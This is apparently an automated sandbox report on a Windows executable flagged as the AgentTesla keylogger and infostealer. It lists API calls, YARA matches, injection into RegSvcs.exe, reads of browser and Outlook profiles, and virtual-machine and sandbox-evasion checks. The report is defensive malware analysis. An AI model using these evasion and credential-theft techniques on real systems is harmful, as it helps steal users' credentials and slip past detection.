Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EEF1D9	0_2_00EEF1D9
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE3187	0_2_00EE3187
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EC1287	0_2_00EC1287
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE1484	0_2_00EE1484
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED5520	0_2_00ED5520
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE7696	0_2_00EE7696
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED5760	0_2_00ED5760
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE1978	0_2_00EE1978
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EF9AB5	0_2_00EF9AB5
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F47DDB	0_2_00F47DDB
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EEBDA6	0_2_00EEBDA6
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE1D90	0_2_00EE1D90
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ED3FE0	0_2_00ED3FE0
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00ECDF00	0_2_00ECDF00
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_01631F38	0_2_01631F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0075A958	2_2_0075A958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00754A88	2_2_00754A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0075ADA8	2_2_0075ADA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00753E70	2_2_00753E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_007541B8	2_2_007541B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05C7D6EC	2_2_05C7D6EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05C79860	2_2_05C79860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05C7E590	2_2_05C7E590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05C7C380	2_2_05C7C380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05C7AAE8	2_2_05C7AAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05C7D6E0	2_2_05C7D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CF3130	2_2_05CF3130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CFE4B8	2_2_05CFE4B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CF7788	2_2_05CF7788
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CF0040	2_2_05CF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CF0007	2_2_05CF0007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CF0023	2_2_05CF0023

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: String function: 00EC7DE1 appears 35 times
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: String function: 00EE8900 appears 42 times
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: String function: 00EE0AE3 appears 70 times

Source: J8V6dFanEo.exe, 00000000.00000003.1461641371.0000000003D23000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs J8V6dFanEo.exe
Source: J8V6dFanEo.exe, 00000000.00000003.1460973564.0000000003ECD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs J8V6dFanEo.exe
Source: J8V6dFanEo.exe, 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename90cf818a-462d-43ad-9b06-442ae93cc408.exe4 vs J8V6dFanEo.exe

Source: J8V6dFanEo.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 2.2.RegSvcs.exe.150000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.J8V6dFanEo.exe.db0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.J8V6dFanEo.exe.db0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@2/2

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F2A06A GetLastError,FormatMessageW,

0_2_00F2A06A

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F181CB AdjustTokenPrivileges,CloseHandle,		0_2_00F181CB
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F187E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00F187E1

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F2B3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00F2B3FB

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F3EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00F3EE0D

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00F383BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00F383BB

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00EC4E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

File created: C:\Users\user\AppData\Local\Temp\aut9475.tmp

Jump to behavior

Source: J8V6dFanEo.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: J8V6dFanEo.exe	ReversingLabs: Detection: 73%
Source: J8V6dFanEo.exe	Virustotal: Detection: 51%

Source: unknown	Process created: C:\Users\user\Desktop\J8V6dFanEo.exe "C:\Users\user\Desktop\J8V6dFanEo.exe"
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\J8V6dFanEo.exe"
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\J8V6dFanEo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: J8V6dFanEo.exe

Static file information: File size 1084416 > 1048576

Source: J8V6dFanEo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: J8V6dFanEo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: J8V6dFanEo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: J8V6dFanEo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: J8V6dFanEo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: J8V6dFanEo.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: J8V6dFanEo.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: J8V6dFanEo.exe, 00000000.00000003.1461379506.0000000003DA0000.00000004.00001000.00020000.00000000.sdmp, J8V6dFanEo.exe, 00000000.00000003.1460830438.0000000003C00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: J8V6dFanEo.exe, 00000000.00000003.1461379506.0000000003DA0000.00000004.00001000.00020000.00000000.sdmp, J8V6dFanEo.exe, 00000000.00000003.1460830438.0000000003C00000.00000004.00001000.00020000.00000000.sdmp

Source: J8V6dFanEo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: J8V6dFanEo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: J8V6dFanEo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: J8V6dFanEo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: J8V6dFanEo.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EC4B37 LoadLibraryA,GetProcAddress,

0_2_00EC4B37

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EE8945 push ecx; ret		0_2_00EE8958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_05CFAF54 push 8B034AA3h; iretd		2_2_05CFAF59

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00EC48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00EC48D7
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Code function: 0_2_00F45376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00F45376

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

Code function: 0_2_00EE3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00EE3187

Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\J8V6dFanEo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\J8V6dFanEo.exe

API/Special instruction interceptor: Address: 1631B5C

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegSvcs.exe, 00000002.00000002.3895417120.0000000002471000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: J8V6dFanEo.exe, 00000000.00000002.1464611684.0000000000DB0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3894308311.0000000000152000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLESELECT * FROM WIN32_COMPUTERSYSTEM

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599420	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597221	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595766	Jump to behavior
